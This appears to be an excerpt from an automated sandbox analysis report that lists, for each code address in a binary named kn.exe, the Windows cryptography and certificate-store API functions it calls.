          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7136654 NCryptGetProperty,#360,6_2_00007FF7F7136654
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70CA654 CryptVerifyCertificateSignature,GetLastError,#358,CertVerifyTimeValidity,CertOpenStore,GetLastError,#357,CryptVerifyCertificateSignature,CertVerifyRevocation,GetLastError,#357,CertCloseStore,6_2_00007FF7F70CA654
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D4694 CertFindAttribute,CryptHashCertificate2,memcmp,#357,6_2_00007FF7F70D4694
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7096694 CryptQueryObject,GetLastError,#359,#357,#357,LocalFree,CertCloseStore,CryptMsgClose,6_2_00007FF7F7096694
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70A26E0 #357,#357,LocalAlloc,memmove,memset,#357,BCryptFreeBuffer,#357,#357,#357,6_2_00007FF7F70A26E0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71366D8 NCryptFreeObject,#360,6_2_00007FF7F71366D8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71286D8 CertFindCertificateInStore,CryptAcquireCertificatePrivateKey,GetLastError,#359,CertFindCertificateInStore,GetLastError,#359,#357,CertFreeCertificateContext,6_2_00007FF7F71286D8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F716A58C NCryptOpenStorageProvider,NCryptOpenKey,NCryptGetProperty,GetProcessHeap,HeapAlloc,NCryptGetProperty,NCryptFreeObject,NCryptFreeObject,6_2_00007FF7F716A58C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713A590 GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext,6_2_00007FF7F713A590
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70FE57C CertOpenStore,GetLastError,#357,CertAddEncodedCertificateToStore,GetLastError,#358,CryptFindCertificateKeyProvInfo,GetLastError,#358,#357,CertSetCTLContextProperty,GetLastError,CryptAcquireCertificatePrivateKey,GetLastError,CertSetCTLContextProperty,GetLastError,LocalFree,CertFreeCertificateContext,CertCloseStore,6_2_00007FF7F70FE57C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71065B4 NCryptIsKeyHandle,_CxxThrowException,6_2_00007FF7F71065B4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708C5D4 NCryptIsKeyHandle,CryptGetProvParam,GetLastError,#357,#357,#357,#357,#357,LocalFree,LocalFree,6_2_00007FF7F708C5D4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C25E8 #357,#357,#357,CryptImportKey,GetLastError,#358,#357,CryptSetKeyParam,LocalFree,GetLastError,#357,#357,#357,CertFreeCertificateContext,CryptDestroyKey,6_2_00007FF7F70C25E8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7088600 #357,CryptDecodeObject,GetLastError,LocalFree,6_2_00007FF7F7088600
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70DA450 #357,#358,#357,#223,SetLastError,SetLastError,memmove,memmove,#357,#357,GetLastError,#357,#357,strcmp,GetLastError,strcmp,strcmp,strcmp,qsort,#357,CompareFileTime,CompareFileTime,#357,#357,CertFreeCertificateContext,LocalFree,LocalFree,LocalFree,CryptMsgClose,CertCloseStore,CertCloseStore,CertFreeCTLContext,LocalFree,free,6_2_00007FF7F70DA450
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70DC450 CertOpenStore,GetLastError,#357,CryptQueryObject,CertAddStoreToCollection,GetLastError,#357,CertAddStoreToCollection,GetLastError,CertOpenStore,GetLastError,CertAddStoreToCollection,GetLastError,CertCloseStore,CertCloseStore,CertCloseStore,CertCloseStore,6_2_00007FF7F70DC450
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F8488 #357,CertGetCertificateChain,GetLastError,LocalAlloc,CertGetCRLContextProperty,GetLastError,GetLastError,GetLastError,CryptAcquireContextW,GetLastError,memset,CryptMsgOpenToEncode,GetLastError,CryptMsgUpdate,GetLastError,#357,#357,CryptReleaseContext,CryptMsgClose,CertCloseStore,CertFreeCertificateChain,LocalFree,LocalFree,LocalFree,6_2_00007FF7F70F8488
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D24D4 #357,CertCompareCertificateName,CertCompareCertificateName,GetSystemTime,SystemTimeToFileTime,GetLastError,#357,CompareFileTime,CompareFileTime,CompareFileTime,CompareFileTime,CryptVerifyCertificateSignature,GetLastError,#357,strcmp,strcmp,#357,#357,#357,CertCompareCertificateName,#357,CertCompareCertificateName,#357,CertFreeCTLContext,6_2_00007FF7F70D24D4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712E516 ??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,LocalFree,NCryptIsKeyHandle,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,6_2_00007FF7F712E516
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70744E0 #357,#256,#357,GetLastError,CryptImportPublicKeyInfoEx2,GetLastError,CryptHashCertificate2,GetLastError,#357,LocalAlloc,GetLastError,memmove,BCryptVerifySignature,BCryptVerifySignature,BCryptDestroyKey,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F70744E0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708C514 CryptGetProvParam,SetLastError,LocalAlloc,LocalFree,6_2_00007FF7F708C514
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F6374 memset,#358,#357,LocalFree,LocalFree,#357,#357,_strlwr,#357,LocalFree,LocalFree,lstrcmpW,#359,#359,#357,CryptAcquireContextW,GetLastError,#256,CryptGenRandom,GetLastError,#254,#357,fopen,fopen,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,LocalAlloc,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,fprintf,#357,LocalFree,#357,fprintf,fprintf,CertOpenStore,GetLastError,LocalAlloc,CertSaveStore,GetLastError,#357,CertCloseStore,CertFreeCertificateContext,CertFreeCertificateContext,fclose,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptDestroyKey,CryptReleaseContext,CryptReleaseContext,fprintf,fprintf,fflush,ferror,6_2_00007FF7F70F6374
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F2358 #357,#357,CryptReleaseContext,CryptReleaseContext,CertFreeCertificateContext,CertFreeCertificateContext,6_2_00007FF7F70F2358
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708E3B0 #357,#357,CryptDecodeObject,LocalFree,6_2_00007FF7F708E3B0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70A23E8 BCryptResolveProviders,#360,#360,BCryptFreeBuffer,6_2_00007FF7F70A23E8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7138404 GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext,6_2_00007FF7F7138404
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7084410 GetUserDefaultUILanguage,GetSystemDefaultUILanguage,#357,#357,CryptFindOIDInfo,CryptEnumOIDInfo,#360,CryptFindOIDInfo,CryptFindOIDInfo,CryptFindOIDInfo,CryptEnumOIDInfo,#258,#358,#357,#357,#357,LocalFree,#224,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F7084410
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7122278 CryptAcquireContextW,GetLastError,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,LocalAlloc,memmove,#357,#357,CryptDestroyHash,CryptReleaseContext,6_2_00007FF7F7122278
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D6280 #357,#254,#357,CertGetCRLContextProperty,GetLastError,memcmp,#254,#357,#360,#360,CertGetPublicKeyLength,GetLastError,#359,strcmp,GetLastError,CryptFindOIDInfo,#357,LocalFree,CryptFindOIDInfo,#357,#357,#359,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F70D6280
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712E274 GetLastError,#358,CryptAcquireCertificatePrivateKey,GetLastError,#357,#359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,#357,LocalFree,NCryptIsKeyHandle,GetLastError,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,6_2_00007FF7F712E274
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7138298 #357,CryptFindOIDInfo,LocalAlloc,#357,memmove,6_2_00007FF7F7138298
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F716A2E0 NCryptOpenStorageProvider,NCryptOpenKey,NCryptFreeObject,6_2_00007FF7F716A2E0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70A0300 NCryptOpenStorageProvider,#357,#357,#357,#357,#357,#357,#357,LocalFree,LocalFree,LocalFree,LocalFree,NCryptFreeObject,#357,6_2_00007FF7F70A0300
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F716613C CryptDecodeObjectEx,6_2_00007FF7F716613C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E6194 CryptQueryObject,GetLastError,CertEnumCertificatesInStore,CertAddStoreToCollection,GetLastError,#357,CertCloseStore,CertFreeCertificateContext,6_2_00007FF7F70E6194
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C417C #360,#360,#359,#357,#357,#357,#357,CryptDestroyKey,CryptGetUserKey,GetLastError,#358,LocalFree,LocalFree,LocalFree,CryptDestroyKey,6_2_00007FF7F70C417C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70A21A4 #360,#359,#357,#357,BCryptFreeBuffer,6_2_00007FF7F70A21A4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71261AC SysStringLen,SysStringLen,CryptStringToBinaryW,GetLastError,#357,6_2_00007FF7F71261AC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713A1F8 LocalAlloc,CryptEnumProvidersA,GetLastError,#358,LocalFree,#357,6_2_00007FF7F713A1F8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EA1E8 LocalFree,CryptHashCertificate2,CertGetCRLContextProperty,CertGetNameStringA,memmove,memmove,GetLastError,GetLastError,#357,GetLastError,#357,GetLastError,GetLastError,GetLastError,#357,LocalFree,memmove,GetLastError,#357,GetLastError,#359,LocalFree,6_2_00007FF7F70EA1E8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7166214 CryptDecodeObjectEx,CryptDecodeObjectEx,SetLastError,6_2_00007FF7F7166214
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70FE1F8 CertSaveStore,GetLastError,LocalAlloc,#357,CertSaveStore,GetLastError,#357,LocalFree,#357,#357,NCryptOpenStorageProvider,NCryptImportKey,NCryptSetProperty,NCryptFinalizeKey,LocalFree,LocalFree,NCryptFreeObject,6_2_00007FF7F70FE1F8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7077034 #357,CertCreateCertificateContext,#357,CertDuplicateCertificateContext,CertCreateCertificateContext,CertCompareCertificateName,CryptVerifyCertificateSignature,GetLastError,#357,#357,CertFreeCertificateContext,LocalFree,CertFreeCertificateContext,6_2_00007FF7F7077034
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F707302F #357,LocalFree,LocalFree,NCryptFreeObject,CoUninitialize,DeleteCriticalSection,6_2_00007FF7F707302F
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F9028 #357,#357,CryptMsgClose,CryptMsgClose,CertCloseStore,LocalFree,6_2_00007FF7F70F9028
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7107020 NCryptDecrypt,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,NCryptEncrypt,#205,#357,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,6_2_00007FF7F7107020
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F710301C CryptGenKey,#205,GetLastError,#357,#357,#357,SetLastError,6_2_00007FF7F710301C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7101058 NCryptOpenStorageProvider,#205,#359,#357,6_2_00007FF7F7101058
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713705C BCryptGetProperty,#360,6_2_00007FF7F713705C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70A107C LocalFree,GetLastError,#359,CryptGetProvParam,GetLastError,#357,CryptReleaseContext,#359,#357,LocalFree,6_2_00007FF7F70A107C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71370C8 BCryptSetProperty,#360,6_2_00007FF7F71370C8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70CB098 CryptVerifyCertificateSignature,GetLastError,#358,CertVerifyCRLTimeValidity,CertCompareCertificateName,CertCompareCertificateName,#357,6_2_00007FF7F70CB098
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F710B0A0 memmove,CryptDecrypt,#205,GetLastError,#357,#357,SetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,memmove,_CxxThrowException,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,_CxxThrowException,6_2_00007FF7F710B0A0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71010D8 NCryptSetProperty,#205,#359,#357,#359,#357,6_2_00007FF7F71010D8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F71030D8 CryptGetHashParam,#205,GetLastError,#357,#357,#357,#357,SetLastError,6_2_00007FF7F71030D8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7098F1C strcmp,LocalFree,strcmp,LocalFree,strcmp,LocalFree,strcmp,CryptDecodeObject,LocalFree,LocalFree,LocalFree,strcmp,strcmp,strcmp,strcmp,LocalFree,GetLastError,#357,GetLastError,GetLastError,6_2_00007FF7F7098F1C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E4F50 CryptEncodeObjectEx,GetLastError,CryptEncodeObjectEx,GetLastError,CryptEncodeObjectEx,GetLastError,#357,LocalFree,6_2_00007FF7F70E4F50
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7136F2C NCryptExportKey,#360,6_2_00007FF7F7136F2C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F0F58 CertAddEncodedCertificateToStore,GetLastError,#357,UuidCreate,StringFromCLSID,CryptAcquireContextW,GetLastError,CryptImportKey,GetLastError,CertSetCTLContextProperty,GetLastError,CryptDestroyKey,CryptReleaseContext,CoTaskMemFree,CertFreeCertificateContext,6_2_00007FF7F70F0F58
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7094F90 LocalFree,LocalFree,LocalFree,CertFreeCertificateContext,LocalFree,LocalFree,#357,strcmp,GetLastError,#357,CryptMsgGetAndVerifySigner,CryptVerifyDetachedMessageSignature,GetLastError,#357,CertEnumCertificatesInStore,memcmp,#357,CertFreeCertificateContext,#357,#357,CertFreeCertificateContext,strcmp,#357,CryptMsgControl,GetLastError,#357,#357,#357,#357,6_2_00007FF7F7094F90
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712EF74 GetLastError,#357,CryptDecodeObject,GetLastError,GetLastError,GetLastError,LocalAlloc,memmove,LocalFree,LocalFree,LocalFree,6_2_00007FF7F712EF74
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7100FB4 NCryptOpenKey,#205,#359,#357,#357,6_2_00007FF7F7100FB4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7136FAC BCryptOpenAlgorithmProvider,#360,6_2_00007FF7F7136FAC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F713700C BCryptEnumAlgorithms,#360,6_2_00007FF7F713700C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7136E48 NCryptSetProperty,#360,6_2_00007FF7F7136E48
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7090E24 #357,#357,CryptDecodeObject,GetLastError,GetLastError,strcmp,GetLastError,#357,#357,#357,GetLastError,GetLastError,GetLastError,CryptDecodeObject,GetLastError,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,6_2_00007FF7F7090E24
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7102E6C CryptFindOIDInfo,#205,#357,#357,#357,#359,#359,#357,#357,#359,LocalFree,6_2_00007FF7F7102E6C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712EE94 CryptSignMessage,SetLastError,6_2_00007FF7F712EE94
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7144E58 NCryptIsKeyHandle,#357,BCryptGenRandom,#360,LocalAlloc,CryptExportPKCS8,GetLastError,LocalAlloc,CryptExportPKCS8,GetLastError,NCryptIsKeyHandle,#359,#359,NCryptFinalizeKey,#360,6_2_00007FF7F7144E58
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70A0E94 GetLastError,#359,CryptGetProvParam,LocalFree,#357,LocalFree,CryptReleaseContext,6_2_00007FF7F70A0E94
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70D2E7C #223,GetLastError,#358,#357,CryptVerifyCertificateSignature,GetLastError,#357,LocalFree,LocalFree,6_2_00007FF7F70D2E7C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7160ED0 LocalAlloc,LocalReAlloc,#357,#360,CryptFindOIDInfo,CryptFindOIDInfo,LocalAlloc,#357,memmove,_wcsnicmp,#256,#359,6_2_00007FF7F7160ED0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7136EA8 NCryptImportKey,#360,6_2_00007FF7F7136EA8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7100EF4 NCryptImportKey,#205,#359,#359,#357,6_2_00007FF7F7100EF4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C2D18 #359,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,NCryptIsKeyHandle,#357,#357,NCryptIsKeyHandle,#357,#357,LocalFree,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,6_2_00007FF7F70C2D18
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7136D2C NCryptFreeBuffer,#360,6_2_00007FF7F7136D2C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7136D78 NCryptOpenKey,#360,6_2_00007FF7F7136D78
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7100D84 NCryptFreeObject,#205,#357,6_2_00007FF7F7100D84
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7102D78 CryptEncrypt,#205,GetLastError,#357,#357,#357,#357,SetLastError,6_2_00007FF7F7102D78
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7150DB8 CryptMsgGetParam,GetLastError,#357,#357,memset,CryptMsgGetParam,GetLastError,#357,6_2_00007FF7F7150DB8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7128DD0 CertGetCRLContextProperty,GetLastError,#357,memcmp,CertGetCRLContextProperty,GetLastError,#357,memcmp,CertFindExtension,GetLastError,memcmp,CryptHashCertificate,GetLastError,memcmp,CryptHashPublicKeyInfo,GetLastError,memcmp,LocalFree,6_2_00007FF7F7128DD0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7100DD4 NCryptGetProperty,#205,#359,#357,#359,#357,6_2_00007FF7F7100DD4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7132DAC #357,#357,CryptFindOIDInfo,LocalFree,6_2_00007FF7F7132DAC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E4DDC GetLastError,#357,CryptEncodeObjectEx,GetLastError,#357,LocalFree,6_2_00007FF7F70E4DDC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7136DE0 NCryptCreatePersistedKey,#360,6_2_00007FF7F7136DE0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F709CC24 CryptDecodeObjectEx,#359,BCryptSetProperty,BCryptGetProperty,#357,BCryptDestroyKey,BCryptCloseAlgorithmProvider,6_2_00007FF7F709CC24
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7066C4C CryptFindOIDInfo,#357,#357,#359,CryptFindOIDInfo,#357,LocalFree,6_2_00007FF7F7066C4C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7100C3C NCryptExportKey,#205,#359,#359,#357,6_2_00007FF7F7100C3C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7136C30 NCryptOpenStorageProvider,#360,6_2_00007FF7F7136C30
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7144C80 CryptAcquireContextW,GetLastError,#357,CryptGenRandom,GetLastError,CryptGenRandom,GetLastError,memset,CryptReleaseContext,6_2_00007FF7F7144C80
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7136C88 NCryptEnumAlgorithms,#360,6_2_00007FF7F7136C88
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7138C58 #357,LocalAlloc,#357,memmove,memset,BCryptFreeBuffer,#357,#357,#360,#359,#359,#359,LocalAlloc,memmove,LocalAlloc,memmove,#357,#357,CryptGetDefaultProviderW,LocalAlloc,CryptGetDefaultProviderW,GetLastError,#357,#357,#357,LocalFree,LocalFree,6_2_00007FF7F7138C58
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7102C80 CryptDestroyHash,#205,GetLastError,#357,SetLastError,6_2_00007FF7F7102C80
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F4CA0 CryptAcquireCertificatePrivateKey,GetLastError,#357,CertGetCRLContextProperty,GetLastError,#357,CryptGetUserKey,GetLastError,GetLastError,#357,LocalFree,LocalFree,CryptDestroyKey,CryptReleaseContext,6_2_00007FF7F70F4CA0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70C4CC0 #357,lstrcmpW,CryptEnumKeyIdentifierProperties,GetLastError,#357,LocalFree,#357,#359,LocalFree,LocalFree,free,6_2_00007FF7F70C4CC0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F710ACAC CryptContextAddRef,CryptDuplicateKey,#205,GetLastError,#357,#357,SetLastError,_CxxThrowException,GetLastError,_CxxThrowException,GetLastError,_CxxThrowException,??3@YAXPEAX@Z,6_2_00007FF7F710ACAC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7100D14 NCryptFinalizeKey,#205,#357,#357,6_2_00007FF7F7100D14
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7136CE0 NCryptEnumStorageProviders,#360,6_2_00007FF7F7136CE0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7158CF4 GetLastError,#360,CryptGetProvParam,GetLastError,#360,#359,LocalAlloc,CryptGetProvParam,GetLastError,#357,LocalFree,CryptReleaseContext,GetLastError,LocalAlloc,CryptGetProvParam,GetLastError,#358,LocalFree,LocalFree,#357,CryptReleaseContext,LocalFree,6_2_00007FF7F7158CF4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7102CFC CryptDestroyKey,#205,GetLastError,#357,SetLastError,6_2_00007FF7F7102CFC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F2CF8 memset,#358,#357,CryptAcquireContextW,GetLastError,#357,#357,#358,#357,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,LocalFree,CryptDestroyKey,CryptReleaseContext,DeleteFileW,LocalFree,#357,#357,#359,#359,LocalFree,LocalFree,#357,#357,#357,#357,#357,#359,#359,#359,#359,LocalFree,#359,#359,#357,6_2_00007FF7F70F2CF8
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F716EB38 CryptDecodeObjectEx,GetLastError,??3@YAXPEAX@Z,LocalFree,6_2_00007FF7F716EB38
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7100B80 NCryptCreatePersistedKey,#205,#359,#359,#357,6_2_00007FF7F7100B80
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F708CB98 NCryptIsKeyHandle,GetLastError,#358,#360,NCryptIsKeyHandle,CryptGetProvParam,GetLastError,#357,#359,LocalFree,NCryptIsKeyHandle,CryptGetUserKey,GetLastError,#357,CryptGetKeyParam,GetLastError,#359,CryptDestroyKey,NCryptIsKeyHandle,#359,NCryptIsKeyHandle,6_2_00007FF7F708CB98
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7130B9C CryptHashData,GetLastError,#357,6_2_00007FF7F7130B9C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7102BC0 CryptCreateHash,#205,GetLastError,#357,#357,#357,SetLastError,6_2_00007FF7F7102BC0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F712CBB4 CryptGetProvParam,GetLastError,#358,LocalAlloc,#357,CryptGetProvParam,GetLastError,#357,LocalFree,6_2_00007FF7F712CBB4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7130BF4 CryptDuplicateHash,GetLastError,#357,CryptGetHashParam,GetLastError,#203,CryptDestroyHash,6_2_00007FF7F7130BF4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70E4A34 CertGetCRLContextProperty,CryptEncodeObjectEx,GetLastError,CryptHashCertificate2,CryptEncodeObjectEx,GetLastError,CertGetCRLContextProperty,CryptEncodeObjectEx,GetLastError,CryptEncodeObjectEx,GetLastError,GetLastError,GetLastError,#357,LocalFree,6_2_00007FF7F70E4A34
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7104A1C NCryptIsKeyHandle,_wcsicmp,#357,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,_CxxThrowException,GetLastError,_CxxThrowException,6_2_00007FF7F7104A1C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7100A18 BCryptSetProperty,#205,#359,#357,#357,6_2_00007FF7F7100A18
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7132A78 #357,CryptAcquireCertificatePrivateKey,GetLastError,#357,#357,LocalFree,LocalFree,LocalFree,#359,#359,6_2_00007FF7F7132A78
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7076A84 LocalAlloc,#357,memmove,CryptHashCertificate2,GetLastError,LocalAlloc,#357,memmove,LocalFree,6_2_00007FF7F7076A84
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70EEA7C #357,#357,LocalAlloc,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptImportKey,GetLastError,CryptSetKeyParam,GetLastError,CryptSetKeyParam,GetLastError,CryptCreateHash,GetLastError,CryptHashData,GetLastError,CryptHashData,GetLastError,CryptGetHashParam,GetLastError,CryptSetKeyParam,GetLastError,#357,LocalFree,LocalFree,LocalFree,CryptDestroyHash,CryptDestroyHash,6_2_00007FF7F70EEA7C
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7108AA0 _CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,BCryptHashData,#205,#357,#357,#357,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,_CxxThrowException,6_2_00007FF7F7108AA0
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7100ABC BCryptVerifySignature,#205,#357,#357,#357,#357,6_2_00007FF7F7100ABC
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F7102AE4 CryptAcquireContextW,#205,GetLastError,#359,#357,#359,SetLastError,6_2_00007FF7F7102AE4
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70A2B00 BCryptEnumContexts,#360,BCryptQueryContextConfiguration,#360,#357,BCryptFreeBuffer,#357,BCryptEnumContextFunctions,#360,#360,BCryptFreeBuffer,#358,#358,#357,BCryptFreeBuffer,6_2_00007FF7F70A2B00
          Source: C:\Users\Public\kn.exeCode function: 6_2_00007FF7F70F8AFC #357,CertCreateCertificateContext,GetLastError,#357,#357,#357,#357,#357,NCryptIsKeyHandle,#357,CertSetCTLContextProperty,GetLastError,#357,#357,CertCloseStore,CertFreeCertificateContext,6_2_00007FF7F70F8AFC
